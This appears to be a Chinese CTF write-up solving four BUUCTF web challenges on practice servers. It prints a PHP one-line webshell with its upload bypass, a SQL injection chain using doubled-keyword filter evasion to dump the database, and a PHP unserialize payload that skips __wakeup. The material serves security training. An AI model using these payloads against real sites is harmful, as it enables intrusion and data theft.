Buuctf Web(13-16)

Buuctf Web(13-16)

13、Upload

创建一个木马文件

可绕过的后缀名检测:php,php3,php4,php5,phtml.pht

image

上传该文件,显示Not image!

image

image

抓包,修改Content-Type的内容为 image/jpeg,send,查看文件名后缀应为.phtml

image

使用蚁剑

URL地址为:/upload/a.phtml

连接密码为:a

测试连接,连接成功后添加

image

image

右键单击,文件管理,查看根目录,找到flag

image

双击查看flag

image

1
flag{34c3fd89-3b0b-450b-9953-287122b67247}

14、Upload

上传一句话木马<?php eval($_POST[a]);?>,修改后缀名为.jpg

image

抓包,显示上传成功

image

使用蚁剑连接,URL地址为:http://458e3dd3-d7c3-41c5-b4cd-06727f565048.node4.buuoj.cn:81/./uplo4d/394659692a460258b45a99f1424ea357.jpg

连接密码为:a

尝试一下,测试连接显示返回数据为空

image

尝试修改后缀名为.phtml

image

使用蚁剑连接,URL地址为:http://458e3dd3-d7c3-41c5-b4cd-06727f565048.node4.buuoj.cn:81/./uplo4d/71056c0c9cb12f2b7d720156da9eabf1.phtml

连接密码为:a

测试连接,连接成功 后添加

image

image

右键单击,文件管理

在根目录中找到flag

image

双击查看flag

image

1
flag{8337ba06-02fe-47b4-8563-e341d08b19fe}

15、BabySQL

常规注入:/check.php?username=admin&password=1' union select 1#

image

根据报错信息,猜测union 、select可能被过滤了,试一下双写绕过
/check.php?username=admin&password=1' ununionion seselectlect 1#

image

URL编码试一下,然后试列数
payload:/check.php?username=admin&password=1' ununionion seselectlect 1,2,3%23,登录成功

image

爆数据库:/check.php?username=admin&password=1' ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23,猜测flag在ctf里

image

爆表:/check.php?username=admin&password=1' ununionion seselectlect 1,2, group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schema="ctf" %23

image

查字段名:/check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name="Flag"%23

image

/check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(flag) frfromom(ctf.Flag)%23

得到flag

image

1
flag{009a3737-39ae-44ff-8bfb-45287b1e2093}

16、PHP

题目提示了备份网站

image

使用目录扫描工具 dirsearch

目录扫描工具 dirsearch 使用详解 - FreeK0x00 - 博客园 (cnblogs.com)

可以直接到github上下载压缩包,解压后,进入目录运行cmd

首先安装dirsearch:python setup.py install

如果报错,可能是因为pip版本太低,更新pip:python -m pip install --upgrade pip

运行,开始扫描:py -3.9 dirsearch.py -u http://15349308-86d1-4f57-8e2c-50b34e5d48eb.node4.buuoj.cn:81/ -e php

响应成功的如下图所示

image

image

访问www.zip文件,下载了一个压缩包

image

解压得到一系列文件

image

查看index.php文件,发现包含class.php文件,采用get传参select,还有个php反序列化函数unserialize()

所以页面可以传进一个参数select然后把它反序列化,反序列化的过程中会用到class.php

image

查看class.php文件,有输出flag的条件

要调用到__destruct()并且password=100,username=admin才能echo $flag

image

魔法函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
在反序列化脚本结束时会自动调用它,它是unserialize()结束的魔术方法(魔法函数)

魔法函数
通常来说有一些PHP的魔法函数会导致反序列化漏洞,如:
__construct 当一个对象创建时自动调用
__destruct 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象)
__sleep() 使**用serialize()函数时触发
__wakeup 使用unserialse()**函数时会自动调用
__toString 当一个对象被当作一个字符串被调用。
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据//调用私有属性时使用
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发

构造序列化,php代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class Name
{
private $username = "yesyesyes";
private $password = "nonono";
public function __construct($username,$password)
{
$this->username=$username;
$this->password=$password;
}
}
$a = new Name(@admin,100);
//var_dump($a);
//echo "<br>";
$b = serialize($a);
echo $b."<br>";//输出序列化
echo urlencode($b);//输出url编码后的序列化
?>

序列化后是这样的:

image

调用unserialize()时会自动调用魔法函数wakeup(),可以通过改变属性数绕过,把Name后面的2改为3或以上即可

1
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

然后url识别不了”,改为%22

1
O:4:%22Name%22:3:{s:14:%22Nameusername%22;s:5:%22admin%22;s:14:%22Namepassword%22;i:100;}

因为成员(属性)是private,所以要在类名和成员名前加%00这个url编码是空的意思。因为生产序列化时不会把这个空也输出。

1
O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

完整payload:

1
?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

得到flag

image

1
flag{1e6c9083-a44b-4c83-9a9c-f865d6230e68}